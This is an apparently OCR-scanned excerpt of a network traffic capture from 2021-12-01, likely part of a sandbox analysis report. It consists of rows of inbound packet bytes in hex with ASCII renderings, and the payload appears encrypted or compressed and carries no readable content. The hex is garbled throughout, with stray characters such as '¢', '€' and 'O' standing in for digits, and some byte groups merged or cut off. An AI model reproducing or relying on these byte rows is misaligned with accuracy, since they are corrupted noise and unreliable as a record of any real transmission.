d8 ed ed cf 28 31 a3 3a e4 88 cf 5e d3 ea fb 31 aa 6¢ 52 d0 69 1f 5b b8 2c f4 27 29 c4 15 63 05 8 67 d2 a8 9f 37 fe 50 41
c8 97 83 4a b6 9d 99 f0 a3 04 6a 8e 87 95 97 8a 85 db 3d ba 04 d5 83 bc 14 bd f4 f3 27 d8 74 7a 77 d4 f0 ff 18 51 62 d7
db 62 bf 44 0a 44 4d bf a9 fb a5 51 23 bd ¢8 33 7f 40 b6 f4 fd 3e 17 33 0f 52 dO e0 26 b4 80 be df a3 ac 5f b3 90 57 7c 15
c6 d7 a3 ec be Oe bd 66 f9 2c al a8 6d b9 b2 e7 8e da 01 al Oe e3 55 de d0 a8 2f e4 bd 39 89 5f 1e e4 4f cf 6b 27 e9 2f
d3 fd d9 bl 41 a6 3e 5¢ 1a 9a 13 da 88 fd 9e 45
Data Ascii: p1Zq4:+LNLg{3Mc8& C6>#kNX(1: 1IRi[,)cg7PAJj='tzwQbbDDMQ#3@>3R&_W|f, mU/9_OK/A>\E

2021-12-01 18:10:27 UTC 60 IN Data Raw: 44 59 85 57 fe de c8 44 ea 85 54 1b e0 6d 50 ba be b0 be cc df 72 1b 1a f1 4d 59 ad a8 b1 9d 74 11 a2 e2 27
€9 7d e5 62 e8 57 87 ef 43 74 2a cb 98 89 27 dc e6 ff bl 12 bb 3f 7c 0d aa b8 e2 7b 9e 5c 47 8b c2 ¢3 b3 dc b9 95 3¢ bl
2c 76 96 1b b5 f6 76 83 11 92 73 0b 20 f0 3e bf ce ac 50 48 c6 95 28 1e ce 5b 3b 56 bd 62 a0 b7 d6 47 c1 4b 91 5e c2 b6
6c 96 8f f1 31 42 af 13 7b 51 76 da 50 81 00 df e2 b6 2c 20 25 12 e5 e5 56 d9 0d 3a 91 3d d8 9a 17 6d Oe 15 40 81 0f f4
34 b6 17 59 2c 7c 8a d1 64 02 11 e6 c8 1e 6a 2f ec a4 54 aa le df 29 a8 31 d0 20 75 ac 09 f4 11 d8 2a df 86 84 7a 52 ba
025b 7d a5 d1 d8 28 de fb a3 53 ab d4 09 2d da 17 64 cb d1 c0 66 c2 fd 33 47 €6 a0 1b a0 11 b9 dc 82 91 4c 37 6f 5d Oc
ae 2e 4e cd 94 dd 42 a9 ab b6 e3 cf f4 2a 95 24 d6 10 d6
Data Ascii: DYWDTmPrMYthWCt*?[{\G<,vvs >PH([;VbGK"1B{QVP, %V:=m@4Y,|dj/T)1 u*zR[}(S-df3GL70].NB*$

2021-12-01 18:10:27 UTC 61 IN Data Raw: b3 99 32 16 bc eb 7c 84 7 4a 1e 10 22 27 fe 63 28 ed c5 2d 84 ab 14 ff b9 92 bd ee 97 67 05 fd 51 73 41 f1 de
51 e3 b6 2b 05 18 6f €0 45 c7 €3 7a b7 6f 1e 58 44 42 8e a8 6a fa 12 al 97 09 5f 6e de fb 5e d9 fe 59 ad 8a d2 81 af 51 4f
3b 49 bd 40 7a ef 66 22 26 33 eb 0a 3a 06 04 2d 37 62 d5 45 8f 06 bb ad 00 48 d6 Oe 78 cc 7 3c b0 7b f0 d4 15 33 de 4d
1f af ef eb 34 Oe 46 73 56 29 1c fd €8 83 00 f6 64 6e d0 d6 1b 31 a0 62 16 ¢8 98 3¢ d4 38 72 6¢ 64 5b 83 07 e1 f1 03 dc 2d
39 b2 3f cc a7 ce 5e d9 bb a4 31 aa cf 7b e3 68 0a 51 b4 3d €8 30 ff d6 13 72 03 e9 3c ec 96 60 4f 00 58 69 8d 96 83 40
a9 43 8b d8 8e 04 6a 85 bc 8b 96 8a 74 d1 15 82 80 d5 89 73 02 a8 d8 ch ed 99 68 7a 77 c5 f6 6 €6 50 4e d1 d9 Ob ba
5e 19 38 4c ae af f7 5b 50 Of ba cf 3b 56 b9 87 f3
Data Ascii: 2|3"c(-gQsAQ+0EZoXDBj_n"YQO;I@zf'&3:-7TbEHx<{3M4FsV)dn1b<8rld[-92/1{hQ=0r<'OXi@CjtshzwPN
ABL[P:V

2021-12-01 18:10:27 UTC 63 IN Data Raw: 4c 1e 60 ff ed cf 39 ba cf cc 7e ca Oc 91 4b d3 87 50 a2 7c 27 2b 58 87 fb da 59 62 a8 Oe 5e a5 42 5d fc d3 1b
c2 ad 3af9 d8 ca 6d 87 08 d7 9b 39 7f 46 f2 44 90 6d 7f €9 7b b1 52 23 ac ec a0 3b 3b ce 01 b1 11 68 d6 58 66 81 42 7f fe
59 19 4c 2 e9 84 5f b9 1f 48 34 be 64 4f c6 28 a8 91 91 d5 52 88 32 df 4f c5 ba 87 4b 93 6b 67 16 6f 20 6 67 €0 f8 fO 78 01
fd 55 ee 13 e2 85 9b 37 68 12 f9 ae Ob 85 3f 6d Oa bf bf f0 e1 a7 ab 5b 9e d2 77 8¢ d9 a6 85 34 ab 2d 76 9c af 38 f1 69 9e
14 09 64 24 a8 eb 28 25 7 85 4d 51 e0 3d cd 1f ce cd 02 cd a2 78 bc 38 c2 51 d8 78 a9 c0 d3 b7 65 a2 b7 6d 20 4f a6 fO
5ac0 712 7e 1f 11 de eb 80 22 a0 25 18 f3 87 46 81 3e 22 93 ad 14 3a 08 4d 2e fb 46 a9 21 6a 25 b7 1e 50 14 €0 9b dc
6d Oe 47 09 fb 1b 75 Oa €9 30 54 a5 29 ac
Data Ascii: L'9~KP|'+XYb"B]:m9FDm{R#;;hXfBYL_H4dO(R20Kkgo gxU7h?m[w4-v8id$(%MQ=x8Qxem OZg~"%F>":M.F!
j%PmMGUOT)

2021-12-01 18:10:27 UTC 64 IN Data Raw: c4 fe 0d d1 4a 3f c0 d9 72 04 b3 e4 01 f8 13 30 90 2d 5a 45 50 18 0f 1a ad 4e d2 f6 0d 71 7c e5 20 38 1d bc b9
dd 64 25 76 52 30 7 da f4 60 32 05 4a 63 50 ef 77 3f 79 34 al 76 45 86 b0 a6 25 3e 7d 61 11 e4 25 df ce 38 4a 3c 18 7f
6b 89 a8 11 a2 2c b2 81 a8 83 17 7f 99 31 00 6b 64 d2 e7 4d b4 91 a5 fb aa 9f bd f0 8e 1a b7 ec 55 7c 41 f8 a0 e5 8d 92
2316 1b 0d 8c 43 a8 cf 6b b1 78 0a 7d 36 Of 8a ae 03 27 39 a3 9d 1b a7 7e c5 6a 49 c9 fb 7b 28 9b 7 af f7 e3 4e 31 50
a7 cd cl f9 98 29 3a 1e fb 56 3e Oc dc 7b 94 72 c2 99 88 €9 ab aa ef 5b 38 a8 42 3c 54 c7 4f 6¢ 99 71 c2 20 d2 48 e7 bf e9
2b be 90 a8 89 a0 62 3d d5 d9 ec b2 fd 77 6b b7 92 1a 27 54 6e 5e af al 2a dc €6 70 19 6¢ 50 a9 01 f2 ba 2d 51 38 39 b2
3e df 78 df 44 cf 4e ff 35 aa 6b d8 f2 72 08 79 e8
Data Ascii: J?r0-ZEPNg| 8d%VR0 2JcPw?y4vE%>}a%8J<k,1kdMU|A#Ckx}6'9~jI{(N1P):V>{r{8B<TOlq H+b=wk'Tn*pIP-
Q89>xDN5kry
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kBytes
Timestamp transferred Direction Data

2021-12-01 18:10:27 UTC 65 IN Data Raw: bf 6f 17 83 02 1e cc 2a cb d0 4f 7a d7 9c 2d dc b0 f0 62 bc 00 ea f6 4c 2a 65 e7 62 8d 7f 74 12 5b ¢3 20 97 7f
cfac ed 24 aa de 25 81 32 22 4a 58 08 a0 10 b3 02 aa cc c8 87 17 78 8a a9 a5 a2 al 8a 7a fc 7d 28 8d 9d 3d c8 b1l 26 37
7d b5 67 eb ff e6 73 0d de c8 6¢ 6¢ 1c 51 47 f5 08 4d 8e 78 16 a9 49 8b f3 57 43 ff 9c 44 81 a5 44 75 44 c2 1c d5 2f b9 f2
cf 1c e2 9d 1e c5 93 9e fO 5b e4 57 88 52 ed 32 08 5e cf 32 al e0 a3 0a 86 dd 20 a7 9e 59 e9 f5 68 al a4 6e df 48 a5 c7
e6 399 55 3 94 40 40 51 68 50 b6 a7 a8 87 9f cf 5a 9c 30 df 49 4f 26 87 54 9c 75 Of 9e 6a Of 4a 77 f6 6e c9 25 10 ec 49
fe 3d e5 9a 88 32 e6 12 ec a6 94 ac a3 7c Oc 88 00 e6 7d bc 84 1e 8b c4 el 8a 08 34 b8 14 54 2c 65 92 25 3a fb 60 9a 11
bd 5b 21 b7 f5 2d b6 fO 91 46 3b e2 bf cd 19 dd
Data Ascii: 0*Oz-bL*ebt[ $%2"IXxz}(=&7}gslIQGMxIWCDDuD/[WR2"2 YhnHU@ @QhPZ0I0&Tujdwn%I|=2[}4T,e%: [I-F;

2021-12-01 18:10:27 UTC 66 IN Data Raw: 26 cd 62 c4 72 db 4d b5 20 a5 45 15 e7 68 19 3e ad 3c f2 3a c6 13 13 72 03 f8 78 f3 9f b6 db 16 49 7d 42 a4 d2
51 aa 5b 5d cb 83 2f 23 95 bf a8 b2 9b a4 c0 32 ed 23 d7 89 64 05 b5 c9 7e 20 99 68 7b 64 f6 el dd Oe 40 75 5b e4 18 be
45 a8 2f 6e ab 81 45 a5 51 29 8f 92 33 7e 51 ae 19 fc 38 1c 1b db 2d dO ea 1f 92 8a bc ¢3 a3 65 5¢ b3 9¢ 59 34 31 18 c6
a3 92 b8 18 30 6b f3 2a 88 27 4b a8 9e d9 f9 cc 8d 94 03 90 72 7d c1 84 28 ca 00 3f 9d 7d 29 c0 c3 f6 7c aa ef 39 fh 4b ca
b9 5a 82 07 33 70 8d 9e d9 2a ec 97 42 97 a3 5d 93 13 09 49 9b 7c d8 c0 6f 10 a8 e3 e3 ca 7d 77 b6 1f 94 69 77 23 eb 51
62 94 a6 63 1b df 4e 6b b2 93 2e a8 f4 1c a2 d8 32 86 00 ae 59 52 92 99 76 9f 4c a8 e4 ea e8 Oe 73 28 b2 82 a4 66 96 58
bd 73 39 95 c3 ¢5 c1 3f 9b 18 88 82 71 8 e5 f9 e2
Data Ascii: &brM Eh><:rxI}BQ[]/#2#d~ h{d@u[E/NEQ)3~Q8-e\Y410k*'Kr}(?})|9KZ3p*B]l|o}wiw#QbcNk.2YRVLs(fXs9?q

2021-12-01 18:10:27 UTC 67 IN Data Raw: 03 86 79 2b al e2 32 af ee Oc €5 60 d7 bc cd 15 ¢6 47 02 c6 b5 ec 1d ac 5d el ef 74 be 5c c8 a4 76 af ad fd 25
5b b5 e4 f4 7 79 7c ¢9 b3 c4 d0 7a 29 15 fa 32 ce 7e 24 57 86 20 2e 80 26 Oc b3 a0 7a d4 17 57 ba 2c dd 2c a1 04 60 Of
6b 50 d2 63 21 ¢5 9d fb 11 7d f3 6b cd db b3 3b 9f fd bb 3a ae 05 66 bd 3e 07 08 cc a2 07 b5 5¢ 6d 82 26 35 4a 79 8c cO
df 3e c9 91 Ob e6 b3 08 Ob 37 el 5a 4b 99 c6 aa 5d ce 69 24 44 e6 a6 e0 6¢ 06 96 ce 4d c2 2e 1b 7c 58 1b b3 b3 7f 3b bc
8a 40 7f bc dd da c3 60 f6 1a 06 d7 06 bf c5 59 65 3f fb df 4d 23 b2 b1 26 02 8e 72 7 b2 da 15 f4 3b 2a e2 3a 37 9c 47 97
75 4f db 1f fc f7 8a 40 32 cb 6a e4 09 ¢5 32 4c e7 b7 64 72 8d ec 23 63 09 a3 94 c9 40 04 17 al fb 9b b1 2c 24 00 3a 37
8c b5 0a eb 28 cf 07 1d be c3 c5 fe 07 63 59 26 d7
Data Ascii: y+2'GJt\%l[y|z)2~$W .&zW,, kPc!}k;:f>\m&5Jy>7ZK]i$DIM.|X; @ Ye?M#&r;*: 7GuO@2j2Ldr#c@,$:7(cY &

2021-12-01 18:10:27 UTC 68 IN Data Raw: 70 39 23 12 5d bd 44 6b da 14 22 fd 75 45 9e 99 1d 94 06 5b 58 b3 56 12 18 cb 20 48 {7 ¢3 c9 33 dc 2f 3f bf ff
df ac f9 a8 85 9f 53 10 d4 df 89 11 5 60 Oe 89 6d 1b 3b b5 77 b3 db 98 3c df f5 7a 74 ¢3 79 a9 07 e0 a3 32 d5 3c 33 bb bl
7b 4a ee 5f d9 6¢ b5 35 bc 7c 70 ea e6 a8 4f 9c 2a 3 30 f5 ¢6 17 6¢ 12 ec 78 f2 be 77 ¢9 01 52 78 5d 86 89 2f 9b 42 8b d2
85 0d 7b 81 c0 93 94 8a 89 c0 1c ed 2f d4 89 68 1f bc dd e5 24 17 df 15 5b d5 f0 f5 Ob 56 4a c6 da 18 b4 55 0d 51 5e be
a9 e3 a9 59 29 79 dd 16 56 6¢ 86 f3 f7 2b 1d 1b 21 2e d0 e6 3d 9e b2 bc c9 c6 93 5e b5 b0 48 23 67 d2 d5 b4 83 b6 Of bd
6c f3 2a 89 03 6¢ b9 b8 f8 €9 db 01 be 03 90 73 c5 d0 a2 3d f9 9c 39 9d 16 36 €0 4f 59 7c aa ff 5¢c b2 fd ca b3 5d a7 47 d7
7f9a 19 cd 2c ee be 37 b5 b2 74 96 07 0f c3
Data Ascii: p9#]|DK"uE[XV H3/?S m;w<zty2<3{J_I5|pO*0IxwRxX]/B{/h$[VIUQ"Y)yVI+!.="H#gI*|s=96 0 Y |\|G, 7t

2021-12-01 18:10:27 UTC 70 IN Data Raw: 3d ea 91 43 33 al 68 4b 8c bc b9 b4 8b db 72 88 32 df 5e 2a 11 80 54 96 7e 68 71 7f 27 e3 7b fe 4c 9c 7b 10
ea 6b Oc 06 €5 9c al b6 f7 03 f8 c2 e4 92 a3 76 62 5d aa e6 77 be 84 3b 8f c4 ed b5 5e bd 93 12 7c ba 75 9c 35 5a 0a 77
89 08 fa 88 22 b7 f9 36 91 9b 86 52 4e e8 3c c9 1f c8 79 84 c9 bd 64 d9 58 d2 56 cd Oc 42 5d c2 ba 72 96 de f5 31 4e 91
6f 7e 40 77 da e9 80 00 df 87 62 03 20 2f 77 Oe 1a 57 8¢ 29 15 06 35 05 3b 3f €9 0a 04 40 81 b6 f5 34 b6 72 8d 03 7c 80
b4 8f 2d 51 9f e2 34 €9 2d ff aa 6d 26 32 88 2d 80 b2 bb 08 71 df f3 e4 19 c3 43 4d a3 86 70 5¢ 83 8c 4e 79 8b fb 5d 2c d8
92 ad d6 af d2 1e 56 Oe 55 60 c1 b8 52 4d c0 7 3d 68 7f ac 74 b0 38 30 d2 5¢ c2 17 82 6e 5d Oc ce db 5e c4 b6 e5 bd a8
ad d3 dd c5 9b d2 85 2d cd 00 63 c7 45 67 3e d2 f6 d8
Data Ascii: =C3hKr2*T~hq'{L{kvb]w;|u5Zw"6RN<ydXVB]r1INo~@wb /WW)5;?@4r|-Q4-m&2-qCMp\Ny],VU RM=ht80\n]"-
cEg>

2021-12-01 18:10:27 UTC 71 IN Data Raw: 97 b9 97 0f 05 a6 87 3f dc 89 3e Oe 4f ac be c2 ea a0 8e a6 f2 8c 36 73 01 ae 8a 56 d6 cf 55 8d 82 29 05 le 7e
d8 43 66 c6 7a bb 73 0f 55 6d 18 ba ae 6¢ b9 3a a3 97 99 59 7f c2 82 5b d0 c6 41 71 9f f7 a9 89 59 50 3c a4 b2 1f cc f1 eb
03 2b 1b d2 19 3e 13 d4 07 2e 73 d3 9b 83 19 54 bd 3d 5d 4e aa 41 Ob 06 d0 47 6a e7 cb dc 35 26 5d 35 b5 f7 cd d0 d9
b8 8c 82 23 2f c6 d7 83 11 f4 68 68 5d 6d 37 3b bb 68 22 ef c0 a0 cl ec 63 62 4e 43 al 19 1f bl 1b d6 3c 3e a9 20 82 fe
d1 57 ca 6e a4 20 a2 75 84 e2 44 14 4f 39 16 f2 30 fe c4 14 6b 10 el 6e fd 9e 7f d8 ff 59 45 5e 86 85 57 6a 50 8d c7 85 17
62 84 be b3 89 74 82 fd 1d 93 03 cc 95 fe 09 a8 d6 f3 36 91 77 6d 89 d5 dc ec 1le 53 74 d5 55 af af 41 1c 51 48 bd a9 e3
83 4e 3b b4 c0 33 6f 53 91 0d fc 14 15 2b 1c 24 dO
Data Ascii: ?>06sVU)~CfzsUml:Y[AqYP<+>.sT=]NAGj5&]5#/hh]m7;h"cbNC<> Wn uDO90knY EAWjPbt6wmStUAQHN;30S
+$

2021-12-01 18:10:27 UTC 72 IN Data Raw: 67 55 cd e2 db Oc f8 d9 eb 1b 47 b6 63 16 a9 70 d3 ff 46 4e Oa 33 2f 85 a3 6f 5a 66 cf c1 a2 8c a8 f9 ce db 5 f9
87 c8 84 4e f4 8d e6 54 8a 48 e4 a5 7a bl ce 23 af e2 af 0d ed 47 00 b1 8b 6a d7 6f 2a a0 a4 75 ef 5d 94 58 e2 99 01 41
ea 85 36 ab al 69 5a af b3 bl be 90 d8 72 1b 23 d9 67 7e ab 80 5e b4 5b 1b 8a 74 1e 15 77 f6 64 f0 78 38 eb 43 72 29 f6
92 98 29 cd ef fe bl 18 82 ab 68 25 38 af €6 7b a0 21 43 8b c4 ea 89 ca ad bb b7 54 2d 7c 88 1b f3 f5 76 8f 14 18 72 23
b7 f2 2a ad f2 aa f1 48 cO b7 5 83 ce 51 19 db b9 4a a4 a5 d3 50 d4 6a ae 54 d6 98 e2 ba al f7 27 c5 be ed 7a 41 65 e6
6a ab a3 d9 f4 94 16 08 ff 1b f3 1d 41 Ob 26 3d 85 30 11 29 03 45 ad 04 46 a3 09 6a 34 b0 Ob 62 09 6d 82 cf 5a b4 55 95
ec Oa e7 2e ff ac 44 b6 22 9c 03 Ob 37 bf 02 63 84
Data Ascii: gUGCPFN3/0ZfNTHz#Gjo*u]XAGiZr#g~[twdx8Cr))h%8{! CT-|vr#*HQJP] T'zAejA&=0)EFj4bmZU.D"7¢c

2021-12-01 18:10:27 UTC 74 IN Data Raw: a9 51 15 93 30 29 af 17 ac 87 4c f5 56 4f 6¢ 31 1a ba 49 bf d5 56 ed 67 ¢3 67 28 02 d8 4a 7c 6b 3a 69 ef 19 72
d2 84 43 24 25 95 4b 09 eb eb 28 18 9b b7 56 b4 24 al bf b5 27 60 6f 1f d7 ee e7 10 3a d6 2d 07 71 63 86 56 80 ba 1b 61
99 88 25 1e 10 28 ac 11 6f 68 da ee 15 3a b8 1a e6 b6 bf 7f e3 9f 08 bl ee 5f 6a 4d e3 95 c9 9d 9c 36 1b 05 €2 fc 4c b7 da
67 e4 f5 1e 5b 61 14 9a 25 47 95 38 a2 84 01 48 71 c5 b4 dO d8 fe 53 ef 8e f9 be 87 5e d3 20 54 ab 2c a8 73 77 26 32 3b
1d Oa 3a Oc 46 05 28 69 dd e4 00 06 a4 a7 Oe 19 c4 a8 49 08 16 8f d3 7b f8 de dc 67 44 4d 17 a0 df 2c bf f0 b9 10 99 32
26 dc ff 6a 00 fc 77 fd b2 62 04 3b b5 61 a2 el 96 23 d5 c6 f2 6a 4e 52 35 16 ef af 3b fc d9 39 b2 3f 50 73 c0 41 d4 79 cf
ad bb 63 65 ed 77 53 cd a5 33 ed 3f df 3c 13 72
Data Ascii: Q0)LVOI1IVgg(J|k:irC$%K(V$" 0:-qcVa%(oh:_jM6Lg[a%G8HqS T,sw&2;:F(il{gDM,2&jwb;a#NR5;9?
PsAycewS3?<r

2021-12-01 18:10:27 UTC 75 IN Data Raw: bc 82 d9 ed c4 1b 06 dc cb 66 7c 7d a5 0d eb ec 5f dd ea 7c 76 a4 59 62 12 c3 8a 36 61 6e c6 b2 e7 06 af 31
20 bc 320059 79 11 8f 53 b7 02 b7 d4 e5 87 e6 73 28 b8 Of b5 77 88 03 57 77 39 99 a7 c3 dc 17 2a 21 4c 88 7b fe dc 4e
f9 ba c9 e4 5c db Ob 81 27 fc 19 41 af 6a Oe c2 4f 85 fb 4c 65 69 9c 8¢ 81 a5 44 75 78 c0 1c d5 8a 82 f0 f0 69 f5 96 09 a6
9d 4a e3 5d e6 57 8f 5e d7 d1 e7 b0 ce 32 ba ff bb 10 18 dd 05 a0 89 16 cb 45 6d ab b7 71 e8 4a 88 65 86 7 88 40 fb 8d
48 3e 3b 7a 56 ad b2 d6 1a 8f db 78 35 96 db 4f 5f 83 3e 54 9c 7e 08 8f 6f 22 c1 46 f6 64 eb 46 57 ed 43 72 71 32 9b 89
2b e7 04 ef b6 Oc bb df 7e 0d a6 bc 6b 7a b6 ac 45 98 cb fa 92 c8 a8 96 b6 45 22 65 8¢ 22 39 e2 62 e 8f ba 75 23 b6 e0
2f a8 f7 94 45 d4 d1 ac da 37 69 51 13 c0 9b 73 bb b2
Data Ascii: f[}_|vYb6an1l :YySs(wWWw9*IL{N\'AjOLeiDuxiJ]W"2EmgJe@H>;zVx50_>T~0"FdFWCrq2+~kzEE"e"9bu#/E7iQs

2021-12-01 18:10:27 UTC 76 IN Data Raw: 18 b6 a0 29 86 54 ec f1 a3 dc 04 e0 b5 02 1a 21 37 96 6e 58 44 4b d1 14 d8 {7 8a 6a 38 da 75 db 48 d6 3c 57
eb b2 60 6b b7 33 2c 4c 4e 86 95 c9 40 1d c6 85 eb ac b1 26 f0 28 04 1d 8c fe c8 eb 2e 5 07 1c ae c5 c5 fe 07 73 5b 33
c2 a7 42 1e b3 ee 28 bl 15 18 8a 40 ea 4e 7a 01 9d 08 b4 {3 ae ca 0d d2 76 cd 69 2a 10 82 41 6f 65 25 7c f9 39 10 c2 a6
5826 09 59 46 09 e2 6b c7 17 a8 b8 a6 ec 24 al be 01 22 6e 70 0d 98 28 e5 10 30 4e 53 17 6¢ 7a 93 3e 01 a6 15 77 9¢
b2 7d 1f 3c 26 e0 1f 61 77 c3 d9 4a a6 a9 le f5 b5 84 al e3 96 11 d3 fe 7d 7b 53 8f c7 57 8¢ 98 46 Oc 1c 7e e7 49 b2 c8
78 be 76 1d ab 6d 27 82 90 56 97 38 a3 88 1c 54 7f da 8a b6 d9 d2 46 74 b7 c1 ac 98 57 59 19 74 b3 33 ca f9 26 bd 2b 1b
d3 1533 01 da 1d 39 78 3¢ 92 b0 19 7a a6 11 5a 5a 91 53 14
Data Ascii: ) T!'7nXDKj8uH<W k3,LN@&(.S[3B(@Nzvi*Aoe%|9X&YFk$"'np(ONSIz>w}<&awIH{SWF~Ixvm'V8TFtWYt3&+39
x<zZZS
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kBytes
Timestamp transferred Direction Data

2021-12-01 18:10:27 UTC 77 IN Data Raw: €0 37 b2 a0 bc c9 cc 5e 6e bl 9a 60 23 26 ce d3 b4 83 a7 19 b6 47 e8 2a 8e 23 93 b8 94 cd f0 d0 01 ac 15 6e
723 d2 b5 37 e2 ab 27 63 76 1a e2 64 cb 57 49 ec 54 ba fc ca bd 7a 8c 2a 21 03 f3 13 de 2e c6 96 51 b4 al 4e 87 02 36
c5 a4 7cdeclcd 10 9d fc e0 7d 7d 70 ab fe ea c9 4a 3b e0 50 73 aa aa 63 37 d7 63 3c 4d 6b c9 41 e6 23 bl e4 23 bb db
2920389288 7d 9d 20 ae e7 91 ed 17 72 2c 92 af b5 77 8a 40 ef 77 11 93 ac dc c6 3f 91 30 5a 89 5a e3 f4 e8 ea 44 ce
e0e0 c3 00 8b 53 fc e5 40 89 65 10 a6 58 80 e3 b8 49 49 b6 05 87 8e al 5f 1b a9 1c df 89 82 db da c9 8c fd Of c9 80 62
e357 f5 48 a9 4f dc cl1 7b bl ce 97 ab f3 bb 0d 89 e5 1a bl 8a 6e 2f 46 41 a3 bc 74 fe 5e 93 a3 f4 da 8a 57 el 83 5e 2b 5f
68 7c be 9f bb bd 6d d9 09 71 32 df 4b 73 89 82 57 el
Data Ascii: 7°*n"#&G*#nr7'cvdWITz*..QN6|}}pJ;Psc7c<MkA##) 8} r,w@w?0ZZDS@eXIl_bWHO{n/FAt*"W"+_h|mg2KsW

2021-12-01 18:10:27 UTC 79 IN Data Raw: Of e5 13 b4 56 b0 a2 82 50 54 ab 19 7a 7a 8d a0 d9 28 d8 94 85 51 ab d0 30 32 2 54 6a c8 fa a4 64 fe f8 35 46
84 8e 76 b6 1a c3 d4 2f 95 3e 15 6b 32 49 bc 27 59 c6 bf a2 02 ac ad df a4 e5 6 2c 8e 42 fc 16 b9 d2 55 1b 78 eb d1 df 31
9e 9f 2d 96 52 83 d9 al dc Oe 95 fc 03 08 3d 35 f9 2d 42 74 49 d2 1f 98 f2 8a 4c 57 f2 66 f3 d5 b9 69 5¢c 9 a0 74 2¢ 67 33
2c 40 22 bc d5 cc 4a 11 77 al c1 9b bb 49 ad 01 3c 1b a6 ea 05 db 2a cf 2f 1d be c5 cd fe 07 62 4d 2d fc bc 4e 03 a4 10
2883 1528 9d 42 ed 52 ae 13 81 09 a3 5d ac cd 15 8f 77 el 7a 17 1f 91 35 6f 1e 5e 7c fO 25 c4 el 88 5f 4f 7e 40 4b 0d
c177 39 16 97 90 74 4f Oc al bf 29 3e 6e 70 16 el 3e cc Ob 3a 4d 2b f7 6f 56 9b 2a 17 ab 12 68 7d a9 af 1c 07 23 30 07
79 89 c0 dd 5c 8d ab 3f 1a a8 e4 d0 e3 9f Oc 07
Data Ascii: VPTzz(Q02Tjd5Fv/>k2I'Y,BUx1-R=5-BtILWfi\t,g3, @"Iwi<*/bM-N((BR]wz50"|%_O~@Kw9tO)>np>:M+oV
*h}#0y\?

2021-12-01 18:10:27 UTC 80 IN Data Raw: 13 c9 88 ec 96 60 54 07 47 78 4b f0 1f 46 a3 51 ab 59 94 04 6a 18 a9 a4 86 93 1f d7 0a 96 24 32 89 62 14 27
d8 ec 32 b9 da 7a 77 d4 6¢ f9 07 47 7d c4 47 1e al 53 2a 9b 4c bf a9 75 a3 4e 3b 87 78 33 7e 5b 1a f5 e2 21 09 4a 93 2a
cf fa 17 58 8a bc ¢9 50 4b 41 a8 85 07 bf 20 d1 c¢9 ab 8c 2a 09 a2 71 ec 6b 15 32 72 a7 a7 da 74 dd 1e b4 23 7d 73 df dO
3e 3a fd 8¢ 20 e6 eb 30 ff 6e d6 68 36 e8 30 f1 dc 46 b9 50 ae b4 24 61 b9 33 3b 2a ec 96 cd b2 ad 5a 9a 49 82 c3 bb 59
c7 875107 94d1 d4 6bel 71 a3 27 ch 24 48 23 eb cc 72 a3 7c 42 95 d5 74 37 d1 6a ce 96 c7 f1 b3 cf 21 Oc 3e 34 71 72
44 88 79 b7 9e aa fb c7 a7 fO 72 28 b8 33 b3 68 b5 6f ca eb 3f 8c 81 c3 b5 a3 97 3e 62 9e ed fe eb c0 dd 31 cf cc e2 47 0d
94 64 f5 52 dd a3 78 36 bb c4 81 e4 74 68 b9 b4 2e 85
Data Ascii: "TGXKFQY]$2b'2zwIG}GS*LuN;x3~[1J*XPKA *gk2rt#}s>: Onh60FP$a3;*Z1YQkq'$H#r|Bt7j!>4qrDyr(3ho?
>b1GdRx6th.

2021-12-01 18:10:27 UTC 81 IN Data Raw: de 45 cc 63 ae 57 dd b9 84 bf 8d fb 26 4f aa e7 69 48 6e 8 6d 88 00 c8 ff 89 fc 21 09 1b eb 08 5¢ 86 30 36 9a
3ffb 3¢ 3b 7d 1f 03 6e 13 25 f6 32 df 2b 73 02 7a 95 d4 61 27 51 84 el 04 94 28 d3 a6 47 8a a3 88 2b a2 3b a6 1b 7c ac
le ee 06 c4 d2 bl 8e af 6b 53 ad 1b 42 e3 a5 6b dd 28 de bc 3c 55 ab d4 Oe 0d 9d 55 60 cd ff c9 4d c0 f7 1d 2d f6 a8 72
d9 36 bb d6 5a db 31 06 66 5d 1b b6 31 al c5 90 89 57 ba a6 d9 da c6 eb 3e 7a 2c eb 15 92 d1 6f 5e c4 15 2e d0 18 a5
90 2d 96 1d ec f1 a3 77 04 fa be 14 04 10 06 96 67 5b 8a 4e fd 38 da 89 2c 4a 38 de 72 db 4d d7 3c 57 e2 bf 7a 43 2d 25
d2 47 0d 96 8c c5 4a 1f Oe 77 c2 b7 b3 31 f6 00 34 04 72 f5 3a €9 03 cd 2c d0 96 52 c5 fe 0d 74 41 21 59 10 54 de dc fb
28 af 1d 1a 96 42 ea 57 60 17 ad fe b4 56 ac 66 0d 71 67
Data Ascii: ECW&OIHNMN06?<;}n%2+sza'Q(G+; kSBk(<UU M-r6Z1f]1W>z,0".-wg[N8,J8rM<WzC-%GJIw14r:, RtAY T(
BW'Vfqg

2021-12-01 18:10:27 UTC 82 IN Data Raw: 50 9b b5 02 95 a7 54 32 54 c0 1c d5 a5 9d fb d8 c0 fb 8f 1c cd 84 59 e7 41 Ob 5a b5 4e cb fa 7f b1 df 36 b0 0d
ab 37 80 €5 03 9a 06 70 fb 47 76 91 a7 7f 15 5b 85 5d 5a f6 88 51 e8 fd ca 33 al 63 46 94 9a b9 96 84 cd 5c 3d 31 al dc
59 ab 8a 42 b4 5a 1b 8a 74 31 da 75 dd 6b e5 01 83 ec 43 78 14 cd b4 89 21 fe 15 cd ba 30 bd al 7c Ob aa 76 49 7f b6 ac
47 98 398 21 de b9 99 1f 45 2a 65 8d 25 3a €6 67 98 6d 5¢ 75 23 bd e0 2¢ 92 f8 93 43 59 dO d2 2c 1e ce 5b 00 cl ba 70
al 8c e554 ¢7 69 d0 90 c2 b0 70 af bl e6 e7 5b a9 fc 6a 51 63 c0 a2 fO bc d9 f4 94 0f 36 22 77 c4 19 57 8¢ 36 e7 96 22
16 31 2f 82 Oe 04 46 ae 30 fa 5b 84 03 71 08 54 37 df 72 2a 47 bd c4 1c 6a 23 9 9f 4e ab 1e 36 2f a8 31 d0 c4 77 ac 05
€2 08 c543 84 a0 86 70 7c 14 Oe 4a 7f 9b fb 7 28 d8
Data Ascii: PT2TYAZN67pGV[]ZQ3cF\=1YBZt1ukCx!0|vIG!E*e%:gm\u#,CY,[pTip[jQc6"WwW6"1/FO[qT7r*Gj#N6/1wCp|J(

2021-12-01 18:10:27 UTC 83 IN Data Raw: b6 34 Oc 5d 6a ce 7b 22 cb b6 dd 55 11 25 7c fO 26 ec b8 4c 5¢ 32 01 ce fc 1e 31 46 Oa 00 ae bb 7b 4f 2d b6
